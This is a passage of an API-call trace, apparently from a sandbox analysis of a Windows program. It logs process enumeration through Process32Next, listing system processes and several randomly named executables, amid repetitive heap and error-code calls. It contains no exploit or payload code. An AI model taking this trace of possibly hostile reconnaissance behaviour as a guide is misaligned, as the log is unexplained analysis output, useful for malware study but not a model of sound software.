SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.097] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.097] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f00 | out: hHeap=0x2110000) returned 1 [0099.097] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116868 | out: hHeap=0x2110000) returned 1 [0099.097] GetLastError () returned 0x0 [0099.097] SetLastError (dwErrCode=0x0) [0099.097] GetLastError () returned 0x0 [0099.097] SetLastError (dwErrCode=0x0) [0099.097] GetLastError () returned 0x0 [0099.097] SetLastError (dwErrCode=0x0) [0099.097] GetLastError () returned 0x0 [0099.097] SetLastError (dwErrCode=0x0) [0099.097] GetLastError () returned 0x0 [0099.097] SetLastError (dwErrCode=0x0) [0099.097] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.098] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116958 [0099.098] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430bc0 [0099.098] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.099] SetLastError (dwErrCode=0x0) [0099.099] GetLastError () returned 0x0 [0099.100] SetLastError (dwErrCode=0x0) [0099.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0099.100] GetLastError () returned 0x0 [0099.100] SetLastError (dwErrCode=0x0) [0099.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0099.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430bc0 | out: hHeap=0x2110000) returned 1 [0099.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116958 | out: hHeap=0x2110000) returned 1 [0099.100] GetLastError () returned 0x0 [0099.100] SetLastError (dwErrCode=0x0) [0099.100] GetLastError () returned 0x0 [0099.100] SetLastError (dwErrCode=0x0) [0099.100] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x445) returned 0x2116ec0 [0099.100] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116bd8 | out: hHeap=0x2110000) returned 1 [0099.100] GetLastError () returned 0x0 [0099.101] SetLastError (dwErrCode=0x0) [0099.101] GetLastError () returned 0x0 [0099.101] SetLastError (dwErrCode=0x0) [0099.101] GetLastError () returned 0x0 [0099.101] SetLastError (dwErrCode=0x0) [0099.101] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0099.102] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168e8 [0099.102] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e40 [0099.102] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116988 [0099.102] GetLastError () returned 0x0 [0099.102] SetLastError (dwErrCode=0x0) [0099.102] GetLastError () returned 0x0 [0099.102] SetLastError (dwErrCode=0x0) [0099.102] GetLastError () returned 0x0 [0099.102] SetLastError (dwErrCode=0x0) [0099.102] GetLastError () returned 0x0 [0099.102] SetLastError (dwErrCode=0x0) [0099.102] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.103] GetLastError () returned 0x0 [0099.103] SetLastError (dwErrCode=0x0) [0099.103] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.103] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116988 | out: hHeap=0x2110000) returned 1 [0099.104] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e40 | out: hHeap=0x2110000) returned 1 [0099.104] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168e8 | out: hHeap=0x2110000) returned 1 [0099.104] GetLastError () returned 0x0 [0099.104] SetLastError (dwErrCode=0x0) [0099.104] GetLastError () returned 0x0 [0099.104] SetLastError (dwErrCode=0x0) [0099.104] GetLastError () returned 0x0 [0099.104] SetLastError (dwErrCode=0x0) [0099.104] GetLastError () returned 0x0 [0099.104] SetLastError (dwErrCode=0x0) [0099.104] GetLastError () returned 0x0 [0099.104] SetLastError (dwErrCode=0x0) [0099.104] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.105] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430de0 [0099.105] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168b8 [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.106] SetLastError (dwErrCode=0x0) [0099.106] GetLastError () returned 0x0 [0099.107] SetLastError (dwErrCode=0x0) [0099.107] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.107] GetLastError () returned 0x0 [0099.107] SetLastError (dwErrCode=0x0) [0099.107] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304c0 | out: hHeap=0x2110000) returned 1 [0099.107] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168b8 | out: hHeap=0x2110000) returned 1 [0099.107] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.107] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0099.107] GetLastError () returned 0x0 [0099.125] SetLastError (dwErrCode=0x0) [0099.125] GetLastError () returned 0x0 [0099.125] SetLastError (dwErrCode=0x0) [0099.126] GetLastError () returned 0x0 [0099.126] SetLastError (dwErrCode=0x0) [0099.126] GetLastError () returned 0x0 [0099.126] SetLastError (dwErrCode=0x0) [0099.126] GetLastError () returned 0x0 [0099.126] SetLastError (dwErrCode=0x0) [0099.126] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0099.127] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169c8 [0099.127] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430b80 [0099.127] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116898 [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.128] GetLastError () returned 0x0 [0099.128] SetLastError (dwErrCode=0x0) [0099.129] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.129] GetLastError () returned 0x0 [0099.129] SetLastError (dwErrCode=0x0) [0099.129] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0099.129] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116898 | out: hHeap=0x2110000) returned 1 [0099.129] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430b80 | out: hHeap=0x2110000) returned 1 [0099.129] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169c8 | out: hHeap=0x2110000) returned 1 [0099.129] GetLastError () returned 0x0 [0099.129] SetLastError (dwErrCode=0x0) [0099.129] GetLastError () returned 0x0 [0099.129] SetLastError (dwErrCode=0x0) [0099.129] GetLastError () returned 0x0 [0099.129] SetLastError (dwErrCode=0x0) [0099.129] GetLastError () returned 0x0 [0099.129] SetLastError (dwErrCode=0x0) [0099.129] GetLastError () returned 0x0 [0099.130] SetLastError (dwErrCode=0x0) [0099.130] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0099.130] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.131] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430f00 [0099.131] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.131] GetLastError () returned 0x0 [0099.131] SetLastError (dwErrCode=0x0) [0099.132] GetLastError () returned 0x0 [0099.132] SetLastError (dwErrCode=0x0) [0099.132] GetLastError () returned 0x0 [0099.132] SetLastError (dwErrCode=0x0) [0099.132] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.132] GetLastError () returned 0x0 [0099.132] SetLastError (dwErrCode=0x0) [0099.132] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0099.132] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0099.132] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f00 | out: hHeap=0x2110000) returned 1 [0099.132] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169d8 | out: hHeap=0x2110000) returned 1 [0099.132] GetLastError () returned 0x0 [0099.132] SetLastError (dwErrCode=0x0) [0099.132] GetLastError () returned 0x0 [0099.132] SetLastError (dwErrCode=0x0) [0099.133] GetLastError () returned 0x0 [0099.133] SetLastError (dwErrCode=0x0) [0099.133] GetLastError () returned 0x0 [0099.133] SetLastError (dwErrCode=0x0) [0099.133] GetLastError () returned 0x0 [0099.133] SetLastError (dwErrCode=0x0) [0099.133] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="radio.exe")) returned 1 [0099.135] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116858 [0099.135] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e20 [0099.135] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116828 [0099.135] GetLastError () returned 0x0 [0099.135] SetLastError (dwErrCode=0x0) [0099.135] GetLastError () returned 0x0 [0099.135] SetLastError (dwErrCode=0x0) [0099.135] GetLastError () returned 0x0 [0099.135] SetLastError (dwErrCode=0x0) [0099.135] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0099.136] GetLastError () returned 0x0 [0099.136] SetLastError (dwErrCode=0x0) [0099.136] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.137] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116828 | out: hHeap=0x2110000) returned 1 [0099.137] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.137] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116858 | out: hHeap=0x2110000) returned 1 [0099.137] GetLastError () returned 0x0 [0099.137] SetLastError (dwErrCode=0x0) [0099.137] GetLastError () returned 0x0 [0099.137] SetLastError (dwErrCode=0x0) [0099.137] GetLastError () returned 0x0 [0099.137] SetLastError (dwErrCode=0x0) [0099.137] GetLastError () returned 0x0 [0099.137] SetLastError (dwErrCode=0x0) [0099.137] GetLastError () returned 0x0 [0099.137] SetLastError (dwErrCode=0x0) [0099.137] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="measure tell challenge.exe")) returned 1 [0099.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116828 [0099.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430cc0 [0099.138] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116888 [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.139] GetLastError () returned 0x0 [0099.139] SetLastError (dwErrCode=0x0) [0099.140] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.140] GetLastError () returned 0x0 [0099.140] SetLastError (dwErrCode=0x0) [0099.140] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.140] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116888 | out: hHeap=0x2110000) returned 1 [0099.140] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.140] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116828 | out: hHeap=0x2110000) returned 1 [0099.140] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.140] GetLastError () returned 0x0 [0099.140] SetLastError (dwErrCode=0x0) [0099.140] GetLastError () returned 0x0 [0099.140] SetLastError (dwErrCode=0x0) [0099.140] GetLastError () returned 0x0 [0099.141] SetLastError (dwErrCode=0x0) [0099.141] GetLastError () returned 0x0 [0099.141] SetLastError (dwErrCode=0x0) [0099.141] GetLastError () returned 0x0 [0099.141] SetLastError (dwErrCode=0x0) [0099.141] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.141] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="detail_blood_recent.exe")) returned 1 [0099.142] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116868 [0099.142] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430da0 [0099.142] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168b8 [0099.142] GetLastError () returned 0x0 [0099.142] SetLastError (dwErrCode=0x0) [0099.142] GetLastError () returned 0x0 [0099.142] SetLastError (dwErrCode=0x0) [0099.142] GetLastError () returned 0x0 [0099.142] SetLastError (dwErrCode=0x0) [0099.142] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0099.143] GetLastError () returned 0x0 [0099.143] SetLastError (dwErrCode=0x0) [0099.143] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.143] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168b8 | out: hHeap=0x2110000) returned 1 [0099.143] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430da0 | out: hHeap=0x2110000) returned 1 [0099.144] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116868 | out: hHeap=0x2110000) returned 1 [0099.144] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.144] GetLastError () returned 0x0 [0099.144] SetLastError (dwErrCode=0x0) [0099.144] GetLastError () returned 0x0 [0099.144] SetLastError (dwErrCode=0x0) [0099.144] GetLastError () returned 0x0 [0099.144] SetLastError (dwErrCode=0x0) [0099.144] GetLastError () returned 0x0 [0099.144] SetLastError (dwErrCode=0x0) [0099.144] GetLastError () returned 0x0 [0099.144] SetLastError (dwErrCode=0x0) [0099.144] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.144] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="career fund.exe")) returned 1 [0099.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c80 [0099.145] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116828 [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.146] SetLastError (dwErrCode=0x0) [0099.146] GetLastError () returned 0x0 [0099.147] SetLastError (dwErrCode=0x0) [0099.147] GetLastError () returned 0x0 [0099.147] SetLastError (dwErrCode=0x0) [0099.147] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.147] GetLastError () returned 0x0 [0099.147] SetLastError (dwErrCode=0x0) [0099.147] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.147] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116828 | out: hHeap=0x2110000) returned 1 [0099.147] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.147] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0099.147] GetLastError () returned 0x0 [0099.147] SetLastError (dwErrCode=0x0) [0099.147] GetLastError () returned 0x0 [0099.147] SetLastError (dwErrCode=0x0) [0099.147] GetLastError () returned 0x0 [0099.148] SetLastError (dwErrCode=0x0) [0099.148] GetLastError () returned 0x0 [0099.148] SetLastError (dwErrCode=0x0) [0099.148] GetLastError () returned 0x0 [0099.148] SetLastError (dwErrCode=0x0) [0099.148] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mrchoice.exe")) returned 1 [0099.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168d8 [0099.149] GetLastError () returned 0x0 [0099.149] SetLastError (dwErrCode=0x0) [0099.149] GetLastError () returned 0x0 [0099.149] SetLastError (dwErrCode=0x0) [0099.149] GetLastError () returned 0x0 [0099.149] SetLastError (dwErrCode=0x0) [0099.149] GetLastError () returned 0x0 [0099.149] SetLastError (dwErrCode=0x0) [0099.149] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0099.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169a8 | out: hHeap=0x2110000) returned 1 [0099.150] GetLastError () returned 0x0 [0099.150] SetLastError (dwErrCode=0x0) [0099.151] GetLastError () returned 0x0 [0099.151] SetLastError (dwErrCode=0x0) [0099.151] GetLastError () returned 0x0 [0099.151] SetLastError (dwErrCode=0x0) [0099.151] GetLastError () returned 0x0 [0099.151] SetLastError (dwErrCode=0x0) [0099.151] GetLastError () returned 0x0 [0099.151] SetLastError (dwErrCode=0x0) [0099.151] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="howpartmove.exe")) returned 1 [0099.152] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.152] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430be0 [0099.152] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116828 [0099.152] GetLastError () returned 0x0 [0099.152] SetLastError (dwErrCode=0x0) [0099.152] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0099.153] GetLastError () returned 0x0 [0099.153] SetLastError (dwErrCode=0x0) [0099.153] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.154] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116828 | out: hHeap=0x2110000) returned 1 [0099.154] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430be0 | out: hHeap=0x2110000) returned 1 [0099.154] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, 